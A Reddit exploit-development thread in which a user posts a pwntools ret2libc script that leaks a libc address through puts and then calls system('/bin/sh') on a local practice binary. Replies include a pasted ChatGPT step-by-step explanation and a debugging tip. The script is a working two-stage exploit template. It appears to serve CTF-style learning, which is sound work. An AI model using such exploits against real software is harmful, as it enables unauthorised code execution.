r/ExploitDev • u/Jerrythepro123 • May 10 '24
pwntools error
Why is pwntools doing this?
from pwn import *
sh = process('./ret2libc3')
elf = ELF('./ret2libc3')
libc = elf.libc
if args.M:
gdb.attach(sh)
puts_plt = elf.plt['puts']
#puts_got = elf.got['puts']
libc_start_main_got = elf.got['__libc_start_main']
#start_addr = elf.symbols['_start']
main_addr = elf.symbols['main']
print "[*]puts plt: " + hex(puts_plt)
print "[*]__libc_start_main got: " + hex(libc_start_main_got)
#print "[*]puts got: " + hex(puts_got)
#print "[*]_start addr: " + hex(start_addr)
print "[*]main addr: " + hex(main_addr)
print "[*]libc addr: " + hex(libc.address)
print "--" * 20
print "[*]sending payload1 to leak libc..."
#payload = flat(["A" * 112, puts_plt, start_addr, puts_got])
#payload = flat(["A" * 112, puts_plt, start_addr, libc_start_main_got])
payload = flat(["A" * 112, puts_plt, main_addr, libc_start_main_got])
sh.sendlineafter("Can you find it !?", payload)
#puts_addr = u32(sh.recv(4))
#print "[*]leak puts addr: " + hex(puts_addr)
libc_start_main_addr = u32(sh.recv(4))
print "[*]leak __libc_start_main addr: " + hex(libc_start_main_addr)
#libc.address = puts_addr - libc.symbols['puts']
libc.address = libc_start_main_addr - libc.symbols['__libc_start_main']
system_addr = libc.symbols['system']
binsh_addr = next(libc.search('/bin/sh'))
print "[*]leak libc addr: " + hex(libc.address)
print "[*]system addr: " + hex(system_addr)
print "[*]binsh addr: " + hex(binsh_addr)
print "--" * 20
print "[*]sending payload2 to getshell..."
payload2 = flat(["B" * 104, system_addr, "CCCC", binsh_addr])
sh.sendline(payload2)
sh.interactive()

-6
u/jcoffi May 10 '24
I asked ChatGPT. You could have also.
The provided script is an example of an exploit development using pwntools, a Python library for binary exploitation. Here's a breakdown of what the script is doing and why:
Initialization and Setup:
from pwn import *: Imports all pwntools libraries.sh = process('./ret2libc3'): Starts the binaryret2libc3as a process which is to be exploited.elf = ELF('./ret2libc3'): Loads the binary file as an ELF object for accessing its symbols and sections.libc = elf.libc: Retrieves the associated libc library for the ELF object, which is used for further exploitation.
Conditional GDB Attachment:
if args.M: gdb.attach(sh): Attaches GDB to the process if the script is run with anMargument, useful for debugging.
Retrieving Important Addresses:
Retrieves addresses of various functions and sections from the ELF binary which are critical for constructing the exploit:
puts_pltis the address of theputsfunction in the Procedure Linkage Table (PLT), used to callputsexternally.libc_start_main_gotis the address of__libc_start_mainin the Global Offset Table (GOT), used to leak libc address.main_addris the address of themainfunction, used to loop back to the beginning of the main function.
First Payload to Leak Addresses:
Constructs a payload to leak the libc address using the
putsfunction. The payload is designed to overflow a buffer and then callputswith the address of__libc_start_mainfrom the GOT to print out its actual runtime address.Sends the payload and receives the leaked address, which is then used to calculate the base address of libc.
Calculating System and "/bin/sh" Addresses:
Using the leaked libc base address, it calculates the addresses of the
systemfunction and the string "/bin/sh" within libc.
Second Payload to Spawn a Shell:
Constructs a second payload to exploit the overflow vulnerability. It overflows the buffer, then calls the
systemfunction with the address of the string "/bin/sh", effectively spawning a shell.Sends the second payload.
Interaction:
Calls
sh.interactive()to interact with the now spawned shell.
This script demonstrates a classic "return to libc" attack where control of the execution flow is redirected to execute system calls within libc, particularly system("/bin/sh"), to gain a shell. The payloads are carefully crafted to manipulate the stack and control the flow of execution through overwritten return addresses.
1
u/ArbiterUtendi May 10 '24
Are you trolling lol
1
u/jcoffi May 10 '24
OP didn't have pictures of the output posted before. The pictures changed the context.
-1
0
-13
u/Jerrythepro123 May 10 '24
i solved it
24
May 10 '24
Interesting. This is already a low-effort post. But you really top it off by not providing the solution you found yourself.
Thanks for your contribution! /s
6
u/Bowserjklol May 10 '24
Line 4. Update the variable name ‘elf’ to something that doesn’t collide with an existing pwntools module name.